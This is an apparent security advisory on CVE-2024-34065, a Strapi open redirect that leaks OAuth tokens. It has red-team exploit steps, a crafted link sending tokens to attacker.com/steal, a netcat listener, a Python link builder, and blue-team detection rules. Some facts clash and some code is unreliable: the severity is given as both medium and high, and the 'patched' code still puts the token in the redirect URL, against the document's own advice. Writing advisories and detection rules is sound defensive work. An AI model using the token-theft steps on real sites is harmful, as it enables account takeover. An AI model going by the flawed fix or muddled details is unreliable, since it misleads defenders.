CVE-2024-34065

Executive Summary

CVE-2024-34065 is a medium-severity vulnerability in the Strapi open-source content management system, specifically within the @strapi/plugin-users-permissions package. The vulnerability is a chain of two weaknesses: an Open Redirect (CWE-601) and the exposure of a session token as a URL query parameter. An unauthenticated attacker can exploit this chain to bypass authentication mechanisms and retrieve 3rd party tokens (e.g., OAuth tokens from social login providers). The attack requires user interaction (one click). The vulnerability affects versions before 4.24.2. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the potential for credential theft and account takeover is significant.

Supply Chain & Package Security

This vulnerability is in the @strapi/plugin-users-permissions npm package. Organizations using Strapi with social login or 3rd party authentication are at risk. The attack chain relies on the session token being leaked in the URL, which can be captured via referrer headers, browser history, or network logs. The patch is available in version 4.24.2.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – 3rd party tokens can be stolen.
• Integrity Impact: Low (I:L) – Possible token manipulation.
• Availability Impact: Low (A:L) – Possible session disruption.

Threat Level: High. The attack chain is straightforward, requires only one click from a victim, and can lead to full account takeover if the stolen token grants access to the Strapi admin panel.

Deep Dive & Mechanics

The vulnerability is a chain of two issues:

1. Open Redirect (CWE-601): The @strapi/plugin-users-permissions plugin has an endpoint that redirects users to a URL provided in a query parameter without proper validation. An attacker can craft a malicious link that redirects the victim to an attacker-controlled domain.

2. Session Token in URL Query Parameter: When the plugin performs the redirect, it includes the user's session token (or 3rd party token) as a query parameter in the redirect URL. This token is then sent to the attacker's domain via the Referer header or by being captured in the URL.

Attack Flow:

1. Attacker crafts a URL: https://victim-strapi.com/connect/facebook?redirect=https://attacker.com/steal
2. Victim clicks the link (user interaction required).
3. Strapi processes the request, obtains a 3rd party token (e.g., Facebook OAuth token), and redirects the victim to https://attacker.com/steal?token=....
4. The attacker's server logs the token from the URL or Referer header.
5. Attacker uses the stolen token to authenticate as the victim.

Vulnerable vs. Patched Code

Vulnerable Code (before 4.24.2):

// In @strapi/plugin-users-permissions/server/controllers/auth.js
async function callback(ctx) {
  const { provider } = ctx.params;
  const { redirect } = ctx.query;
  // ... authentication logic ...
  // Vulnerable: redirects to user-supplied URL without validation
  ctx.redirect(redirect + '?token=' + token);
}

Patched Code (4.24.2):

// In @strapi/plugin-users-permissions/server/controllers/auth.js
async function callback(ctx) {
  const { provider } = ctx.params;
  const { redirect } = ctx.query;
  // ... authentication logic ...
  // Patched: validate redirect URL against allowed origins
  const allowedOrigins = ['https://trusted-domain.com'];
  if (!allowedOrigins.includes(new URL(redirect).origin)) {
    return ctx.badRequest('Invalid redirect');
  }
  ctx.redirect(redirect + '?token=' + token);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Strapi instance running version < 4.24.2 with social login enabled.
• An attacker-controlled server to capture tokens.

Exploit Steps:

1. Identify the Strapi instance and its social login endpoints (e.g., /connect/facebook, /connect/google).
2. Craft a malicious URL:

   https://victim-strapi.com/connect/facebook?redirect=https://attacker.com/steal
   

3. Send the link to the victim via phishing email or social engineering.
4. Set up a listener on the attacker server to capture the token:

   nc -lvnp 80
   

5. When the victim clicks the link, the token will appear in the request:

   GET /steal?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... HTTP/1.1
   Host: attacker.com
   

6. Use the stolen token to authenticate as the victim.

Automated Exploit (Python):

import requests
import sys

def exploit(target, redirect_url):
    # Craft the malicious URL
    url = f"{target}/connect/facebook?redirect={redirect_url}"
    print(f"[*] Send this link to victim: {url}")
    # The attacker server should be listening on redirect_url

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target> <attacker_url>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Blue Team

Detection:

• Monitor for unusual redirect parameters in authentication endpoints.
• Check for redirect query parameters pointing to external domains.
• Alert on session tokens appearing in URL query strings.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/connect/*" AND uri_query="*redirect=*"
| rex field=uri_query "redirect=(?<redirect_url>[^&]+)"
| where NOT match(redirect_url, "^https?://(trusted-domain\.com|localhost)")
| table _time, clientip, uri, redirect_url

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing /connect/ with a redirect parameter pointing to an external domain.
  • HTTP requests with Referer header containing /connect/ and an external domain.
• File IOCs:
  • Log entries showing redirect parameter with external URLs.
• Behavioral IOCs:
  • Unusual authentication flows where the user is redirected to an external site after login.
  • Multiple failed login attempts followed by a successful login with a stolen token.

Detection Engineering

YARA Rule

rule CVE_2024_34065_Strapi_Open_Redirect {
    meta:
        description = "Detects Strapi open redirect exploitation attempts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-34065"
    strings:
        $redirect = /\/connect\/(facebook|google|github|twitter)\?redirect=/
        $token = /[?&]token=[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+/
    condition:
        $redirect and $token
}

Sigma Rule

title: Strapi Open Redirect Exploitation
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects exploitation attempts of CVE-2024-34065 in Strapi
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/connect/"
        cs-uri-query|contains: "redirect="
    filter:
        cs-uri-query|contains: "redirect=https?://(trusted-domain\.com|localhost)"
    condition: selection and not filter
falsepositives:
    - Legitimate redirects to trusted domains
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34065 Strapi Open Redirect Exploitation"; flow:to_server; content:"/connect/"; http_uri; content:"redirect="; http_uri; pcre:"/redirect=https?:\/\/(?!trusted-domain\.com|localhost)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade @strapi/plugin-users-permissions to version 4.24.2 or later.
2. If immediate upgrade is not possible, disable social login providers temporarily.
3. Implement a Web Application Firewall (WAF) rule to block requests with redirect parameters pointing to external domains.

Long-term Mitigations:

• Enforce strict validation of redirect URLs against a whitelist of allowed domains.
• Never include session tokens or 3rd party tokens in URL query parameters.
• Use HTTP-only cookies for session management.
• Implement CSRF tokens for authentication flows.

Patch Verification:

npm list @strapi/plugin-users-permissions
# Expected output: @strapi/plugin-users-permissions@4.24.2

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert